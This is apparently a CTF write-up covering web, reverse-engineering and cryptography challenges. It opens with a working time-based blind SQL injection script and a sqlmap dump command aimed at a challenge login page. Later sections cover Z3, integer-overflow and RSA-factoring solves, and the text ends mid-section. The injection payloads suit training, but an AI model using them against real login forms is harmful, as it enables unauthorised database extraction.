# Trash script made by HackYou to enumerate Blind /Time based SQLI
def bf_db():
chars = string.printable[:-6]
session = requests.session()
url = "https://ctftogo-3-mice.chals.io/login"
print('[+] Started brute forcing')
phew = ""
while True:
for char in chars:
name = f"{phew}{char}"
sys.stdout.write(f"\r[+] Database name: {name}")
payload = f"a' UNION SELECT NULL,NULL,NULL AND (select sleep(5) from dual where database() like '{name}%') #"
data = {
"username": payload,
"password": "pass"
}
time_started = time.time()
output = session.post(url, data=data, allow_redirects=False)
time_finished = time.time()
time_taken = time_finished - time_started
if time_taken < 5:
pass
elif char == "%":
pass
else:
phew += char
break
def bf_mysql():
chars = string.printable[:-6]
session = requests.session()
url = "https://ctftogo-3-mice.chals.io/login"
phew = ""
while True:
for char in chars:
name = f"{phew}{char}"
sys.stdout.write(f"\r[+] Mysql name: {name}")
payload = f"a' UNION SELECT NULL,NULL,NULL AND (select sleep(5) from dual where BINARY version() like '{name}%') #"
data = {
"username": payload,
"password": "pass"
}
time_started = time.time()
output = session.post(url, data=data, allow_redirects=False)
time_finished = time.time()
time_taken = time_finished - time_started
if time_taken < 5:
pass
elif char == "%":
pass
else:
phew += char
break
def bf_table():
# I need to know web tbh this portion doesn't give full name so I guessed the remainng part :P
chars = string.printable[:-6]
session = requests.session()
url = "https://ctftogo-3-mice.chals.io/login"
phew = ""
while True:
for char in chars:
name = f"{phew}{char}"
sys.stdout.write(f"\r[+] Table name: {name}")
payload = f"a' UNION SELECT NULL,NULL,NULL and (select sleep(5) from dual where (select table_name from information_schema.tables where table_schema=database() and table_name like '%{name}%' limit 0,1) like '%') #"
data = {
"username": payload,
"password": "pass"
}
time_started = time.time()
output = session.post(url, data=data, allow_redirects=False)
time_finished = time.time()
time_taken = time_finished - time_started
if time_taken < 5:
pass
elif char == "%":
pass
else:
phew += char
break
if __name__ == "__main__":
#bf_mysql()
bf_db()
#bf_table()
# [+] Mysql name: 10.11.4-MariaDB
# [+] Database name: mice_book
# [+] Table name: flags
# [+] Flag: flag{3_bl1nd_m1ce_s33_h0w_th3y_run}
The server is a bit overloaded at the moment of writting this so running the script will give likely false result atm
But when I ran it when the server was ok I got:
1
2
3
4
[+] Mysql name: 10.11.4-MariaDB
[+] Database name: mice_book
[+] Table name: ags #original
[+] Table name: flags #guessed
For some reason the table name wasn’t complete don’t blame me I suck at scripting and web
But it’s actually guessable flags
Now this is where the issue I had was
I couldn’t get the flag from the table
So I switched over to sqlmap 😭
Passing the known values and dumping the flag (this way more better tbh 🙂)
Since the table name is flags then we can also guess the column name to be flag
I did this assumption cause running sqlmap was pretty slow
1
Payload: sqlmap --url https://ctftogo-3-mice.chals.io/ --forms -D mice_book -T flags -C flag --dump
Doing that I got the flag
1
Flag: flag{3_bl1nd_m1ce_s33_h0w_th3y_run}
Reverse Engineering 8/8
Saint Rings
We are given a binary attached and from the challenge name we can tell that we’ll be using strings command to get the flag i.e SainT RINGS
After downloading the binary I just ran strings and grepped for the flag format which is flag{
Doing that I got the flag
1
Flag: flag{3asy_3n0ugh_t0_f1nd?}
Sesame
We are given a binary attached downloading it and checking the file type shows this
This is a x64 binary which is dynamically linked and not stripped
The only protection not enabled is Canary (doesn’t matter we ain’t doing BOF)
But since PIE is enabled that means during the program execution the memory address will be randmoized
I decided to run it to know what it does
We can see that it asks for a key then on giving the wrong key shows an error
Looking at that this is a good candidate for angr
But first let us decompile it and know what it does
I’ll be using ghidra
Note that I’ll be renaming some values to understand it well
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
undefined8 main(void)
{
uint input;
uint key;
input = 0;
key = getrand();
printf("Enter the sesame key : ");
__isoc99_scanf("%d",&input);
if ((input ^ key) == 0xdeadc0de) {
puts("Good!");
puts("Password = RWNvV2FzQ1RGe1JhbmRvbV9mMHJfUmFuZG9tXz8/Pz8/fQ== \n");
puts("Replace the ????? with the sesame value you found to get the Flag.\n");
}
else {
puts("Wrong.");
}
return 0;
}
This is a fairly simple code and what it does is this:
- Calls the
getrand()function and the result returned by that function is stored in the key variable - Asks for the key and receives our input using
scanf - Does a bitwise
xoroperation on our input and the key and if the result returned is0xdeadc0deit returnsTruethenputsGood! to standard output - Else it
putsWrong.
The password seems to be encoded in base64
So we’re to replace the question mark ? with the rigt input value
Our key function now is the getrand() function as it holds the value of the key
1
2
3
4
5
6
7
void getrand(void)
{
rand();
return;
}
So this just calls rand()
What that will do is get a random number but the issue is that since it isn’t seeded that makes it less random
Therefore the key will always be the same
Now that we know that let us get the key value
I’ll be using dynamic debugging to get it in this case I’ll use gdb-gef debugger
First I’ll set a breakpoint in the getrand() function
Now I’ll disassemble the function to know the point it will return
So at getrand+15 is where it will return
I’ll set a breakpoint there and continue the program execution
The value stored in the rax register holds the return value of any function
Looking at the rax I got the key random value
1
Key = 0x6b8b4567
Now that is settle we need to know the right input that meets this condition
1
input ^ 0x6b8b4567 = 0xdeadc0de
To get that we just xor the other two values together because xor is symmetric
Here’s my solve script
1
2
input = 0xdeadc0de ^ 0x6b8b4567
print(input)
So we just convert that hex value to integer
And that value will be the right input
Now the flag is
1
Flag: EcoWasCTF{Random_f0r_Random_3039200697}
Veyize
This challenge was actually not solve by me 😢
Few days before this CTF, someone I know sent me his writeup to solve that in one of the recently concluded Ancy Togo CTF
So I noticed it was the same lol
Anyways here’s the detailed solution to solve that
1
Flag: flag{32B1t_b0mB_l48_compl3te}
Petstar
Damn a .exe binary 💀
At first I already felt afraid cause I hate decompiling .exe binary but this wasn’t too hard and it was understandable (most times it requires dynamic debugging and I use Linux 😭)
Downloading the binary and checking the file type shows this
I will run it to know what it does
It gives us 4 options
1
2
3
4
1. Make a purchase but amount must equal 0x1337
2. Check acount balance
3. Increase account balance
4. Quit
Now that we have a basic understanding of what this program does let us decompile and read some source code 🙂
Using ghidra I’ll decompile it
Then could get to the main function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
double increase_amount_by;
int choice;
undefined4 leet;
int long_int_amount;
byte attempt;
uint balance;
__main();
balance = 0x50;
attempt = 0;
LAB_1400015ea:
printf("Menu:\n");
printf("1- Make a purchase (amount = 0x1337 EcoWas)\n");
printf("2- Check account balance\n");
printf("3- Increase account balance\n");
printf("4- Quit\n");
printf("Choice: ");
scanf("%d",&choice);
if (choice == 4) {
printf("Thank you for using our service!\n\n");
return 0;
}
if (choice < 5) {
if (choice == 3) {
if (attempt == 0) {
attempt = 1;
printf("Number of Attempts: %d, Enter the increase amount: ",1);
scanf("%lf",&increase_amount_by);
long_int_amount = (int)(longlong)increase_amount_by;
if (increase_amount_by == 4839.0) {
printf("You cannot increase your account by 0x12e7 EcoWas.\n\n");
printf("Your account balance is %d EcoWas.\n\n",(ulonglong)balance);
}
else {
balance = long_int_amount + balance;
if ((int)balance < 0) {
printf("Invalid increase amount. The balance after increase would be negative.\n\n");
balance = 80;
printf("Your account balance is %d EcoWas.\n\n",80);
}
else {
printf("Account increased by %d EcoWas. New balance: %d EcoWas\n",
(longlong)increase_amount_by & 0xffffffff,(ulonglong)balance);
}
}
}
else {
printf("You can no longer increase your account value. Number of Attempts: %d.\n\n",
(ulonglong)(attempt ^ 1));
}
goto LAB_1400015ea;
}
if (choice < 4) {
if (choice == 1) {
leet = 0x1337;
if (balance == 0x1337) {
printf("Purchase complete!\n");
if (attempt == 0) {
printf("You must first increase your account value.\n\n");
}
else {
printf("Congratulations! You have purchased the super flag!\n\n");
printf(
"Password = OQ2EAKBSIRZCK5KMOY4DASSAIYYHMQCFGA5EKMBDHI4DSRJQNZXG43TOJY====== \n\n"
);
printf("Replace the ????? with the value you found to get the Flag.\n\n");
}
}
else {
printf("The value of your account must be 0x1337.\n\n");
}
}
else {
if (choice != 2) goto LAB_1400017f1;
printf("Current balance: %d EcoWas\n\n",(ulonglong)balance);
}
goto LAB_1400015ea;
}
}
LAB_1400017f1:
printf("Invalid choice. Please select a valid option.\n\n");
goto LAB_1400015ea;
}
First thing to notice is the password which we can assume is the flag:
1
Password = OQ2EAKBSIRZCK5KMOY4DASSAIYYHMQCFGA5EKMBDHI4DSRJQNZXG43TOJY======
1
EcoWasCTF{Gg_you_Got_it_Right_?????}
So we will replace the question mark ? with the value used to get the flag (that’s according to what’s on the code)
Now that we know that I’ll explain what the program does:
We are given four options
Here’s what option 1 does:
- It sets the variable
leetto0x1337 - Does an if comparison on our current balance to the leet variable value
- If that compare returns True then we get to the win part where it prints out the flag and some words
- Else it prints that the value in our balance must equal
0x1337
Here’s what option 2 does:
- This will show us out current balance
Here’s what option 3 does:
- The attempt variable is set to 0
- Then it checks if the value stored in the attempt variable to 0
- If it returns True then it sets it to 1
- Then it receives our input using
scanf - It then converts our input to long integer
- A check is done to compare our converted integer input to
4839 - If the check returns True we get an error saying we can’t increase our balance by that amount
- Else it sums up our current balance with our received input
- The balance is initialized to
80on the stack - It then checks if the balance is less than
0this is to prevent using negative integer as our input - If it is then it prints out some error saying invalid amount
- Else it does this math on our input:
input & 0xffffffff - It then sets our attempt to
0since it will xor 1 ( our current attempt value with 1 )
Here’s what option 4 does:
- It just basically exits
Now that we know that our aim is to make the purchase in option 1
1
2
3
4
5
6
7
8
9
➜ petstar python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> current = 80
>>> goal = 0x1337
>>> amount = goal - current
>>> amount
4839
>>>
That’s the number required to increase our balance to the expected value
But the issue is a check is done that compares the value of what we want to increase by with 4839
So we can’t use that
Then how can we get to that expected value?
Well look at this:
1
printf("Account increased by %d EcoWas. New balance: %d EcoWas\n", (longlong)increase_amount_by & 0xffffffff,(ulonglong)balance);
It will use bitwise AND operation on our input with this large hex value 0xffffffff
So basically what bitwise AND does is that when both bits are the same i.e 1 and 1 , the corresponding result bit is set to the value i.e 1
And in C language when you define a variable the specific amount of space is allocated to store that data in memory , a variable defined as int data type in C will occupy 4 bytes of space
You can’t assign values which take more space to store in memory.
When you try to do that an overflow will occur, and the overflowed bits will be ignored.
1
2
3
4
5
6
7
8
9
#include <stdio.h>
void main()
{
unsigned int integer = 4294967295;
printf("%d",integer+1);
}
Rather than showing 4294967296, which is the expected result the program printed 0 .
This happed because, integer variable is declared as a unsigned integer and the range of values which can be stored in 4 bytes of space is 0 - 0xffffffff (2 ** 32 -1 ).
Thus adding one will cause an overflow ( 1 + 0xffffffff = 0x100000000 ) and the extra bit will be ignored and the result becomes 0
Now that we know that, when we give the program 0xffffffff + 1 as the amount we want to increase, our balance will set to 0
This is good cause now we can just do this 0xffffffff + 4839 + 1 which will then make our balance to be 0x1337 and that’s enough to make a purchase
1
2
3
4
5
6
➜ petstar python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xffffffff + 4839 + 1
4294972135
>>>
So the value we will increase our amount by is 4294972135
Now we have the flag
1
Flag: EcoWasCTF{Gg_you_Got_it_Right_4294972135}
DotNetBin
Downloading the attached file shows it’s a .NET binary
I don’t have NET library to run it but I can also just run it on my Windows VM
But first I’ll decompile it using ILSPY which is a .NET decompiler for Linux Based OS
1
2
3
4
5
6
7
8
9
private static void Main(string[] args)
{
Console.WriteLine("Hello!");
Console.WriteLine("Send me 4 characters and I can decrypt something for you...");
Console.WriteLine(Dec("PD1VICE4WRgpOVU1KjRGGC45VSkFKFsyBSVcLjQ6SQ==", Console.ReadLine()));
Console.WriteLine("Bye-byte!");
Console.ReadKey();
}
}
We can see that it will ask for 4 character then that 4 character string is passed into the Dec function also with the base64 encoded flag
Here’s the Dec decompiled function
1
2
3
4
5
6
private static string Dec(string enctext, string pad)
{
byte[] source = Convert.FromBase64String(enctext);
byte[] key = Encoding.UTF8.GetBytes(pad);
return Encoding.UTF8.GetString(source.Select((byte b, int i) => (byte)(b ^ key[i % key.Length])).ToArray());
}
Basically what this does is to decode the first parameter passed into it and then encodes the key which is the second parameter to utf-8
After that is done it will xor they parameter with the key
Ok now that we know that we can implement that in python also
But what of the encrypt function 🤔
It’s not really of any help but it xor the plaintext with a key
1
2
3
4
5
6
private static string Enc(string plaintext, string pad)
{
byte[] bytes = Encoding.UTF8.GetBytes(plaintext);
byte[] key = Encoding.UTF8.GetBytes(pad);
return Convert.ToBase64String(bytes.Select((byte b, int i) => (byte)(b ^ key[i % key.Length])).ToArray());
}
Since we know the key is just 4 bytes
It can be easily brute forced
I did that in python
Here’s my solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from base64 import b64decode as d
def xor(data, key):
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
def brute(ct):
possible_keys = [ord(char) for char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"]
for key1 in possible_keys:
for key2 in possible_keys:
for key3 in possible_keys:
for key4 in possible_keys:
key = bytes([key1, key2, key3, key4])
decrypted = xor(ct, key)
print(f"Key: {chr(key1)}{chr(key2)}{chr(key3)}{chr(key4)}, Plaintext: {decrypted}")
if __name__ == "__main__":
b_ct = "PD1VICE4WRgpOVU1KjRGGC45VSkFKFsyBSVcLjQ6SQ=="
ct = d(b_ct)
brute(ct)
After running, it prints many result but eventually you will get the key to be ZQ4G and also the flag
1
Flag: flag{im_sharper_than_you_think}
Tometriii
The first thing I noticed there is the flag format
I read ctf writeups and well aware about the fact that the flag is Hong Kong Cert CTF format
So I looked for writeup and found the solution to that
Here’s the solution
To be honest if this wasn’t a copied challenge we might not pull it off 😂
1
Flag: hkcert22{CLi3NT_can_B3_reverSE_EnGIN33red_by_0ne_W4y_or_aNoTh3r}
ReZerv3
From the challenge description we can tell we’ll be using Z3 to solve that
After downloading the attached file and checking the file type I got this
We are working with a x64 binary which is dynamically linked and not stripped
I’ll run it to know what it does
It requires an argument to be passed into then it prints out Incorrect if wrong and Correct if right
Seems like a job for angr also
Using ghidra I decompiled the binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
undefined main(int param_1,undefined8 *param_2)
{
char *__s;
size_t sVar1;
if (param_1 == 2) {
__s = (char *)param_2[1];
sVar1 = strlen(__s);
if (sVar1 == 0x22) {
if (((((((((((int)__s[7] - (int)__s[8] * (int)__s[5] * (int)__s[6] * (int)__s[2]) -
(int)__s[0xb]) - (int)__s[9]) + (int)__s[1] + (int)__s[4] + (int)__s[3]) -
(int)__s[10] == -0x391825f) &&
((int)__s[5] +
(((((int)__s[3] - (int)__s[4]) - (int)__s[6]) + (int)__s[9] +
(int)__s[8] * (int)__s[10] * (int)__s[0xb]) - (int)__s[2]) +
(int)__s[0xc] * (int)__s[7] == 0x4ac36)) &&
((int)__s[0xb] +
(((((int)__s[3] - (int)__s[0xc] * (int)__s[7]) - (int)__s[0xd]) +
(int)__s[10] * (int)__s[4]) - (int)__s[5] * (int)__s[6] * (int)__s[9]) + (int)__s[8]
== -0xe6fc0)) &&
(((((((((int)__s[0xc] - (int)__s[7] * (int)__s[0xb]) + (int)__s[4]) - (int)__s[9]) -
(int)__s[5] * (int)__s[6]) - (int)__s[0xe]) -
(int)__s[8] * (int)__s[10] * (int)__s[0xd] == -0x935bc &&
((int)__s[9] * (int)__s[10] * (int)__s[8] +
(((((int)__s[6] + (int)__s[7] + (int)__s[0xe] + (int)__s[0xd]) - (int)__s[0xc]) -
(int)__s[0xf] * (int)__s[0xb]) - (int)__s[5]) == 0xba254)) &&
(((int)__s[0xc] +
((((((int)__s[0xd] + (int)__s[0xb]) - (int)__s[10]) + (int)__s[0xf] * (int)__s[0x10] +
(int)__s[6] * (int)__s[8]) - (int)__s[7]) - (int)__s[9]) + (int)__s[0xe] == 0x2298
&& (((((((((int)__s[0xb] - (int)__s[8]) + (int)__s[0x10] * (int)__s[0xd] + (int)__s[7])
- (int)__s[0x11]) - (int)__s[0xe]) - (int)__s[9]) +
(int)__s[10] * (int)__s[0xf]) - (int)__s[0xc] == 0x2e4a &&
(((((((int)__s[9] - (int)__s[0x12]) - (int)__s[8]) + (int)__s[0xc]) - (int)__s[0xf]
) + (int)__s[0x10] + (int)__s[0xb] * (int)__s[0xd] * (int)__s[0xe] +
(int)__s[0x11]) - (int)__s[10] == 0x39e7d)))))))) &&
(((((((int)__s[0x10] * (int)__s[0x12] * (int)__s[0xd] * (int)__s[0xb] - (int)__s[0x11]) -
(int)__s[10]) + (int)__s[9] + (int)__s[0xf] * (int)__s[0xc]) - (int)__s[0x13]) -
(int)__s[0xe] == 0xb8a12a &&
(((((((((((((int)__s[0x14] + (int)__s[0xc]) -
(int)__s[0xe] * (int)__s[0x13] * (int)__s[0xf] * (int)__s[0x12]) +
(int)__s[0x10]) - (int)__s[0xd]) + (int)__s[0x11]) - (int)__s[0xb]) -
(int)__s[10] == -0x1416994 &&
((int)__s[0xe] +
(((int)__s[0x10] - (int)__s[0x13]) - (int)__s[0xf]) +
(int)__s[0x14] * (int)__s[0x11] + (int)__s[0xb] * (int)__s[0xd] + (int)__s[0x12] +
(int)__s[0x15] * (int)__s[0xc] == 0x3f91)) &&
((int)__s[0x12] * (int)__s[0x10] +
((((int)__s[0xf] * (int)__s[0x11] - (int)__s[0x14]) - (int)__s[0xc]) -
(int)__s[0x13] * (int)__s[0xe]) + (int)__s[0x15] * (int)__s[0xd] + (int)__s[0x16] ==
0x287b)) &&
(((int)__s[0x17] * (int)__s[0x11] +
((((((int)__s[0x15] + (int)__s[0xd] * (int)__s[0x13]) - (int)__s[0x16]) -
(int)__s[0x10]) + (int)__s[0x12] + (int)__s[0x14] + (int)__s[0xf]) - (int)__s[0xe]
) == 0x42ba &&
(((((int)__s[0x17] + (int)__s[0x10] * (int)__s[0xe] + (int)__s[0xf] * (int)__s[0x14])
- (int)__s[0x12] * (int)__s[0x15]) + (int)__s[0x13] * (int)__s[0x18]) -
(int)__s[0x16] * (int)__s[0x11] == 0xcea)))) &&
(((int)__s[0x13] +
(((int)__s[0x10] + (int)__s[0x19] + (int)__s[0x15] + (int)__s[0x16] + (int)__s[0x18]
+ (int)__s[0x12] + (int)__s[0x14] * (int)__s[0x17]) - (int)__s[0xf]) +
(int)__s[0x11] == 0x1b23 &&
(((int)__s[0x12] * (int)__s[0x13] * (int)__s[0x16] +
(((((int)__s[0x17] * (int)__s[0x11] + (int)__s[0x14] * (int)__s[0x19]) -
(int)__s[0x10]) + (int)__s[0x1a] * (int)__s[0x15]) - (int)__s[0x18]) == 0x68c60 &&
((int)__s[0x17] +
((((int)__s[0x11] * (int)__s[0x18] +
(int)__s[0x1b] * (int)__s[0x19] * (int)__s[0x16] + (int)__s[0x1a] +
(int)__s[0x14]) - (int)__s[0x15]) - (int)__s[0x13] * (int)__s[0x12]) == 0x4fc8d)))
))) && ((int)__s[0x12] +
(((((((int)__s[0x15] * (int)__s[0x19] + (int)__s[0x16]) - (int)__s[0x1c]) -
(int)__s[0x13]) - (int)__s[0x1a] * (int)__s[0x14] * (int)__s[0x1b]) +
(int)__s[0x18]) - (int)__s[0x17]) == -0x54b27)))))) &&
(((((int)__s[0x14] +
(((((((int)__s[0x1d] + (int)__s[0x19] + (int)__s[0x13]) - (int)__s[0x18]) -
(int)__s[0x15]) - (int)__s[0x17]) + (int)__s[0x1c] + (int)__s[0x1b]) -
(int)__s[0x16] * (int)__s[0x1a]) == -0x1db5 &&
(((((((int)__s[0x1a] + (int)__s[0x16] * (int)__s[0x17] + (int)__s[0x1e] + (int)__s[0x15]
) - (int)__s[0x1d]) + (int)__s[0x14]) - (int)__s[0x18] * (int)__s[0x19]) -
(int)__s[0x1b]) - (int)__s[0x1c] == 0xb4b)) &&
(((((((((((int)__s[0x17] + (int)__s[0x1e]) - (int)__s[0x18]) + (int)__s[0x19]) -
(int)__s[0x1d]) - (int)__s[0x1f]) - (int)__s[0x15]) + (int)__s[0x1a]) -
(int)__s[0x1b]) + (int)__s[0x16]) - (int)__s[0x1c] == 0x43)) &&
(((((((((((int)__s[0x1f] - (int)__s[0x1a]) - (int)__s[0x19]) - (int)__s[0x17]) +
(int)__s[0x1e]) - (int)__s[0x1c]) + (int)__s[0x1d]) - (int)__s[0x1b]) -
(int)__s[0x16]) - (int)__s[0x20] * (int)__s[0x18] == -0x775 &&
((((((((int)__s[0x19] - (int)__s[0x1f] * (int)__s[0x17]) + (int)__s[0x1b]) -
(int)__s[0x1a] * (int)__s[0x20]) + (int)__s[0x1e]) - (int)__s[0x18] * (int)__s[0x1d])
+ (int)__s[0x21]) - (int)__s[0x1c] == -0x2ed5)))))) {
printf("CORRECT :)");
}
else {
printf("INCORRECT :(");
}
}
else {
printf("INCORRECT :(");
}
return 0;
}
printf("Usage: %s <FLAG>",*param_2);
return 1;
}
Looking at that we can immediately tell angr would take a lot of time & memory before solving that
Since the math being done there is kinda brutal lmao 😹
Anyways Z3 is a perfect job for this
I searched for writeups and found some links which helped me create solve script
Here’s the solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from z3 import *
x = [BitVec('x%d' % i, 8) for i in range(42)]
s = Solver()
for i, c in enumerate(b'EcoWasCTF{'):
s.add(x[i] == c)
for v in x:
s.add(v > 0x20)
s.add(v < 0x7f)
s.add(x[3] + x[4] + x[1] + x[7] - x[2] * x[6] * x[5] * x[8] - x[11] - x[9] - x[10] == -59867743)
s.add(x[7] * x[12] + x[3] - x[4] - x[6] + x[9] + x[11] * x[10] * x[8] - x[2] + x[5] == 306230)
s.add(x[8] + x[4] * x[10] + x[3] - x[7] * x[12] - x[13] - x[9] * x[6] * x[5] + x[11] == -946112)
s.add(x[4] + x[12] - x[11] * x[7] - x[9] - x[6] * x[5] - x[14] - x[13] * x[10] * x[8] == -603580)
s.add(x[8] * x[10] * x[9] + x[13] + x[14] + x[7] + x[6] - x[12] - x[11] * x[15] - x[5] == 762452)
s.add(x[14] + x[16] * x[15] + x[11] + x[13] - x[10] + x[8] * x[6] - x[7] - x[9] + x[12] == 8856)
s.add(x[7] + x[11] - x[8] + x[13] * x[16] - x[17] - x[14] - x[9] + x[15] * x[10] - x[12] == 11850)
s.add(x[17] + x[12] + x[9] - x[18] - x[8] - x[15] + x[16] + x[14] * x[13] * x[11] - x[10] == 237181)
s.add(x[11] * x[13] * x[18] * x[16] - x[17] - x[10] + x[9] + x[12] * x[15] - x[19] - x[14] == 12099882)
s.add(x[17] + x[16] + x[20] + x[12] - x[18] * x[15] * x[19] * x[14] - x[13] - x[11] - x[10] == -21064084)
s.add(x[17] * x[20] + x[16] - x[19] - x[15] + x[13] * x[11] + x[18] + x[12] * x[21] + x[14] == 16273)
s.add(x[13] * x[21] + x[17] * x[15] - x[20] - x[12] - x[14] * x[19] + x[22] + x[16] * x[18] == 10363)
s.add(x[17] * x[23] + x[15] + x[20] + x[18] + x[21] + x[19] * x[13] - x[22] - x[16] - x[14] == 17082)
s.add(x[24] * x[19] + x[20] * x[15] + x[14] * x[16] + x[23] - x[21] * x[18] - x[17] * x[22] == 3306)
s.add(x[17] + x[24] + x[22] + x[21] + x[25] + x[16] + x[18] + x[23] * x[20] - x[15] + x[19] == 6947)
s.add(x[22] * x[19] * x[18] + x[17] * x[23] + x[25] * x[20] - x[16] + x[21] * x[26] - x[24] == 429152)
s.add(x[23] + x[20] + x[26] + x[24] * x[17] + x[22] * x[25] * x[27] - x[21] - x[18] * x[19] == 326797)
s.add(x[18] + x[24] + x[22] + x[25] * x[21] - x[28] - x[19] - x[27] * x[20] * x[26] - x[23] == -346919)
s.add(x[20] + x[28] + x[19] + x[25] + x[29] - x[24] - x[21] - x[23] + x[27] - x[26] * x[22] == -7605)
s.add(x[21] + x[30] + x[26] + x[23] * x[22] - x[29] + x[20] - x[25] * x[24] - x[27] - x[28] == 2891)
s.add(x[22] + x[26] + x[25] + x[30] + x[23] - x[24] - x[29] - x[31] - x[21] - x[27] - x[28] == 67)
s.add(x[29] + x[30] + x[31] - x[26] - x[25] - x[23] - x[28] - x[27] - x[22] - x[24] * x[32] == -1909)
s.add(x[33] + x[25] - x[23] * x[31] + x[27] - x[32] * x[26] + x[30] - x[29] * x[24] - x[28] == -11989)
r = s.check()
assert r == sat
m = s.model()
flag = ''
for i in x:
flag += chr(m[i].as_long())
print(flag)
Running it gives the flag with some null bytes appended to it
We can confirm it’s the flag by passing it as the argument required by the binary
1
Flag: EcoWasCTF{Y0U_4R3_4_M4ST3R_0F_Z3!}
Cryptography 11/11
Decode_Me
We are given a value to decode
I just used cyberchef to decode that
1
Flag: flag{can_you_feel_the_encoding_now?}
Hashes
We are given a hash which looks like MD5
To crack it I used crackstation
1
Flag: flag{dolphins11}
Read Me Please
After downloading the attached file, on checking the content gave this
They are lots of space characters we can confirm that by viewing the hex dump
Ok they are not really space but like dots and tabs
This stenography is called Steg Snow
And to decode it I used stegsnow
1
stegsnow -C Motivation_Text_For_You.txt
It gives the hex dump of a value
I then used cyberchef to decode that
1
Flag: flag{Persisting with determination is always worthwhile.Never give up!....}
IZRSA
We are given the following values:
- The public modulus
n - The ciphertext
c - The public exponent
e
The first thing I’ll do is to check if the value of n can be factorized
Cool it can be factorized now that we know that we have the two prime numbers used to form the public modulus
At this point I’ll need the private exponent which is needed to decrypt the ciphertext
To find the private exponent d, we use the fact that e*d = 1 (mod tot(n)), where tot(n) = (p-1)*(q-1) this is also known as the Euler totient function
And after getting d we can just decrypt ciphertext to get the plaintext which should contain the flag
Here’s my solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import long_to_bytes, inverse
N = 1209143407476550975641959824312993703149920344437422193042293131572745298662696284279928622412441255652391493241414170537319784298367821654726781089600780498369402167443363862621886943970468819656731959468058528787895569936536904387979815183897568006750131879851263753496120098205966442010445601534305483783759226510120860633770814540166419495817666312474484061885435295870436055727722073738662516644186716532891328742452198364825809508602208516407566578212780807
c = 253531916432322298053250937193688715804675877467421863721500099250994106573287490406946422261539808641643579360867972587480442118769784193102040867769698847348444487381478224610267159208895311306363039022363007025402831809706871344008605633536701876907909395530746273077680104860539268870737996595986255451860526076417328003406583877583122138052686641536049736650895970946946035823502502768574935902696678047030376591729571293315520443583996286045618057879759381
e = 65537
p = 1099610570827941329700237866432657027914359798062896153406865588143725813368448278118977438921370935678732434831141304899886705498243884638860011461262640420256594271701812607875254999146529955445651530660964259381322198377196122393
q = 1099610570827941329700237866432657027914359798062896153406865588143725813368448278118977438921370935678732434831141304899886705498243884638860011461262640420256594271701812607875254999146529955445651530660964259381322198377196122399
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
pt = pow(c, d, N)
print(long_to_bytes(pt).decode())
1
Flag: EcowasCTF{i_h4ve_an_RSA_fetish_;)}
Ron Adi Leonard
We are given the encoded flag and a RSA public key
Since the public key is generated from the public modulus and exponent we need to extract it
To do that I used this script
1
2
3
4
5
6
from Crypto.PublicKey import RSA
public_key = open('public.pem', "rb").read()
key = RSA.importKey(public-key)
print(repr(key))
Running it gives the value of n and e
Next thing I’ll do is to check if I can factorize n
Cool we can! This makes it easy to solve since we can now get d which is the private exponent
Here’s my solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
n = 1209143407476550975641959824312993703149920344437422193042293131572745298662696284279928622412441255652391493241414170537319784298367821654726781089600780498369402167443363862621886943970468819656731959468058528787895569936536904387979815183897568006750131879851263753496120098205966442010445601534305483783759226510120860633770814540166419495817666312474484061885435295870436055727722073738662516644186716532891328742452198364825809508602208516407566578212780807
e = 65537
p = 1099610570827941329700237866432657027914359798062896153406865588143725813368448278118977438921370935678732434831141304899886705498243884638860011461262640420256594271701812607875254999146529955445651530660964259381322198377196122393
q = 1099610570827941329700237866432657027914359798062896153406865588143725813368448278118977438921370935678732434831141304899886705498243884638860011461262640420256594271701812607875254999146529955445651530660964259381322198377196122399
phi = (p-1) * (q-1)
d = inverse(e, phi)
enc = bytes_to_long(open('flag.enc', 'rb').read())
pt = pow(enc, d, n)
print(long_to_bytes(pt))
Running the script gives the flag
1
Flag: EcoWAS{Let_me_try_RSA}
Sakpatè
From the description of the challenge we are dealing with XOR bitwise operation
No key was provided so I assumed the key was just a single byte i.e 0-0xff
I used cyberchef to brute force it though I would have just easily scripted this but yunno CTF == TIME
1
Flag: flag{xor_puts_the_fun_in_fundamental}
Kashe Kanka
We are given a base64 encoded value and told that it’s encrypted with a key of length 7
One thing we can try apply to decode that is using XOR which is a bitwise operation
But the issue is that we don’t have the complete key
It’s actually isn’t a problem and that’s so because of the commutative property of XOR:
1
2
3
a ^ b = c
b ^ c = a
c ^ a = b
With that we can get the key!!
But it won’t be the complete 7 character key but where as just 5 character
That’s so because the known plaintext is flag{ whose length is 5
So the remaining two characters can be easily brute forced
With that said, to get the key we need to xor our known plaintext with base64 decoded flag
I used python pwn.xor module to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ KasheKanka python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
